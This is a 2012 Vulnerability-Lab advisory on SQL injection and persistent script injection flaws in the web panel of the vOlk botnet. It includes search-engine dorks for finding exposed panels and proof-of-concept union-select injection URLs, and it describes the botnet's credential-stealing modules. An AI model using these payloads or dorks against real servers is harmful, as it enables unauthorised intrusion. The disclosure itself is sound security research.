272 lines
No EOL
11 KiB
Text
272 lines
No EOL
11 KiB
Text
Title:
|
||
======
|
||
vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-10-09
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=721
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
721
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.3
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
vOlk-Botnet v4.0 is a remote administration tool, its main function is to manage the HOSTS file of the windows
|
||
operating systems The code created by [byvOlk] PHP and Visual Basic 6.0.
|
||
|
||
Features:
|
||
[+] Add Startup
|
||
[+] Download & Execute.
|
||
[+] Visit Webpage [Visible].
|
||
[+] Visit Webpage [Invisible].
|
||
[+] Mutex
|
||
[+] Stealer FTP(Filezilla)
|
||
[+] Msn Stealer(Messenger Save User)
|
||
[+] Statistics Bot s
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-10-09: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
The vulnerability laboratory research team discovered multiple sql injection vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
|
||
The sql vulnerabilities allow remote attackers to inject/execute own sql commands/statements on the affected vOlks botnet application control panel dbms.
|
||
The vulnerabilities are located in the Messenger, Filezilla, Estadisticas files with the bound vulnerable ?pag listing parameter. The vulnerability can
|
||
be exploited by remote attackers without required user inter action. Successful exploitation of the vulnerabilities result in botnet control panel
|
||
compromise via remote sql injection attack.
|
||
|
||
Vulnerable Files(s):
|
||
[+] Messenger.php
|
||
[+] Filezilla.php
|
||
[+] Estadisticas.php
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] pag
|
||
|
||
|
||
1.2
|
||
The vulnerability laboratory research team discovered multiple persistent web vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
|
||
The input validation vulnerabilities allow remote attackers to inject own malicious persistent script code on application side of the botnet framework.
|
||
The vulnerabilities are located in the Visit Webpage (Open URL), MSN Stealer, Download File and Setting modules with the bound vulnerable domin,
|
||
Pasw, https or messenger bot s name parameters. The vulnerability can be exploited by remote attacker with low or medium required user inter action.
|
||
Successful exploitation of the vulnerabilities result in botnet control panel compromise via session hijacking, persistent web context manipulation or
|
||
combined csrf request manipulation.
|
||
|
||
Vulnerable Module(s):
|
||
[+] MSN Stealer
|
||
[+] Visit Webpage (Open URL)
|
||
[+] Download File
|
||
[+] Setting
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] Name - Bot s Name
|
||
[+] URL - Open URL Bots
|
||
[+] URL - Download url
|
||
[+] Password Administrator & User Administrator
|
||
|
||
|
||
|
||
|
||
Dork CodeSearch: <p><font color=``#FFFFFF`` face=``Tahoma`` size=``1``>vOlk-Botnet 4.0</font></p>`` or ``<title>[vOlk-Botnet]v 4.0 Login</title>``
|
||
DorK Google: allinurl:vOlk-Botnet 4.0 or subtitle:[byvOlk] - WebAdmin Panel <20> vOlk-Botnet 4.0 and allinurl:WebAdmin/archivos/imagen/logo.jpg
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The sql injection vulnerabilities can be exploited by remote attacker without privileged application user account and without
|
||
required user inter action. For demonstration or reproduce ...
|
||
|
||
http://[SERVER]/images/WebAdmin/Controladores/Messenger.php?pag=-1%27%20union all select id from pharming--
|
||
http://[SERVER]/images/WebAdmin/Controladores/Filezilla.php?pag=-1%27%20union all select id from pharming--
|
||
http://[SERVER]/images/WebAdmin/Vistas/Estadisticas.php?pais=-1%27%20union all select id from pharming--
|
||
|
||
--- SQL Exceptions ---
|
||
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
|
||
|
||
syntax to use near '-100 , 100' at line 1
|
||
---
|
||
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
|
||
syntax to use near ''-1'' ORDER BY fecha DESC LIMIT 0 , 45' at line 1
|
||
---
|
||
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
|
||
syntax to use near '-200 , 100' at line 1
|
||
--
|
||
SELECT * FROM zombis
|
||
SELECT * FROM pharming
|
||
|
||
|
||
1.2
|
||
The persistent script code inject vulnerabilities can be exploited by remote attackers without privileged application user account but with
|
||
low or medium required user inter action. For demonstration or reproduce ...
|
||
|
||
MSN Stealer:
|
||
The msn stealer module inside of the application displays the Bot's Name unsanitized. To infect the attacker back the victim can simulate a
|
||
fake msn account login on a infected system with malicious persistent script code as Bot's Name. The result is a persistent script code execution
|
||
out of Bot's Name web context in the messenger listing. The victim can hijack the vOlks Botnet Panel sessions or manipulate the framework with
|
||
own malicious persistent context to stop, block, take over or disable the service.
|
||
|
||
Review: MSN STEALER - BOTS NAME
|
||
|
||
<tbody><tr>
|
||
<td width="2%"><div align="center">
|
||
<font color="#FFFFFF" face="Verdana" size="1"><b>ID</b></font></div></td>
|
||
<td width="12%"><div align="center"><b>
|
||
<font color="#FFFFFF" face="Verdana" size="1">Bot's Name
|
||
</font> </b> </div></td>
|
||
<td width="6%"><div align="center"><b>
|
||
<font color="#FFFFFF" face="Verdana" size="1">Pais
|
||
</font> </b> </div></td>
|
||
<td width="79%"><div align="center"><b>
|
||
<font color="#FFFFFF" face="Verdana" size="1">Login de msnmsgr.exe
|
||
</font> </b> </div></td>
|
||
</tr>
|
||
<tr>
|
||
<td><div align="center"><font color="#CCCCCC">1</font></div>
|
||
<font color="#CCCCCC"></font></td>
|
||
<td><div align="center"><font color="#CCCCCC">[[PERSISTENT INJECTED SCRIPT CODE!]]</font></div>
|
||
<font color="#CCCCCC"></font></td>
|
||
|
||
|
||
|
||
Review: Visit Webpage - Open URL
|
||
|
||
<table style="border-style:solid; border-width:1px; " background="archivos/imagen/fondo.png" height="69" width="96%">
|
||
<tbody><tr>
|
||
<td align="left" bgcolor="#333333" height="26" width="29%"><font color="#FFFFFF" face="Verdana"
|
||
size="1">Open URL Bots: </font></td>
|
||
<td align="left" bgcolor="#333333" width="68%"><div> <span style="margin-left:0px" name="div_1_mensaje"
|
||
id="div_1_mensaje"> <font face="Verdana" size="1">
|
||
<input name="domin" id="domin" style="border:1px solid #FFFFFF; width: 420; color:#666666; font-family:
|
||
Verdana; font-size:8pt; background-color:#000000; float:left; height:17"
|
||
value=""><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="1">
|
||
</font> </span> </div></td>
|
||
</tr>
|
||
|
||
|
||
Review: Download File
|
||
|
||
<table style="border-style:solid; border-width:1px; " background="archivos/imagen/fondo.png" height="83" width="99%">
|
||
<tbody><tr>
|
||
<td align="left" bgcolor="#333333" height="19" width="29%"><font color="#FFFFFF" face="Verdana"
|
||
size="1">Download url:</font></td>
|
||
<td align="left" bgcolor="#333333" height="19" width="68%"><div> <font face="Verdana" size="1">
|
||
<input name="https" id="https" style="border:1px solid #FFFFFF; width: 394; font-family:Verdana;
|
||
font-size:8pt; color:#666666; background-color:#000000; float:left;
|
||
height:17" value="http://www."><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <.com"="" size="1">
|
||
</font> </span> </div></td>
|
||
</tr>
|
||
|
||
|
||
Review: Settings - Administrator Username & Administrator Password
|
||
|
||
<tbody><tr>
|
||
<td align="left" bgcolor="#333333" height="21" width="30%">
|
||
<font color="#FFFFFF" face="Verdana" size="1">User Administrator :</font></td>
|
||
<td align="left" bgcolor="#333333" width="70%"><div>
|
||
<span style="margin-left:0px" name="div_1_mensaje" id="div_1_mensaje">
|
||
<font face="Verdana" size="1">
|
||
<input style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana; font-size:8pt;
|
||
color:#666666; background-color:#000000" value="[[PERSISTENT INJECTED SCRIPT CODE!]]"
|
||
disabled="disabled" name="User" id="User" size="1" type="text">[[PERSISTENT INJECTED SCRIPT CODE!]]
|
||
</font></span>
|
||
</div></td>
|
||
</tr>
|
||
|
||
|
||
|
||
<tr>
|
||
<td align="left" bgcolor="#333333" height="21" width="30%"><font color="#FFFFFF" face="Verdana"
|
||
size="1">Password Administrator :</font></td>
|
||
<td align="left" bgcolor="#333333" width="70%">
|
||
<span style="margin-left:0px" name="div_segundos" id="div_segundos">
|
||
<font face="Verdana" size="1">
|
||
<input name="Pasw" id="Pasw" style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana;
|
||
font-size:8pt; color:#666666; background-color:#000000" value="\"
|
||
type="text"><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="70"></font></span></td>
|
||
</tr>
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the sql injection vulnerabilities are estimated as critical.
|
||
|
||
1.2
|
||
The security risk of the persistent script code inject vulnerabilities are estimated as medium(+).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com)
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2012 | Vulnerability Laboratory
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY
|
||
LABORATORY RESEARCH TEAM
|
||
CONTACT: research@vulnerability-lab.com |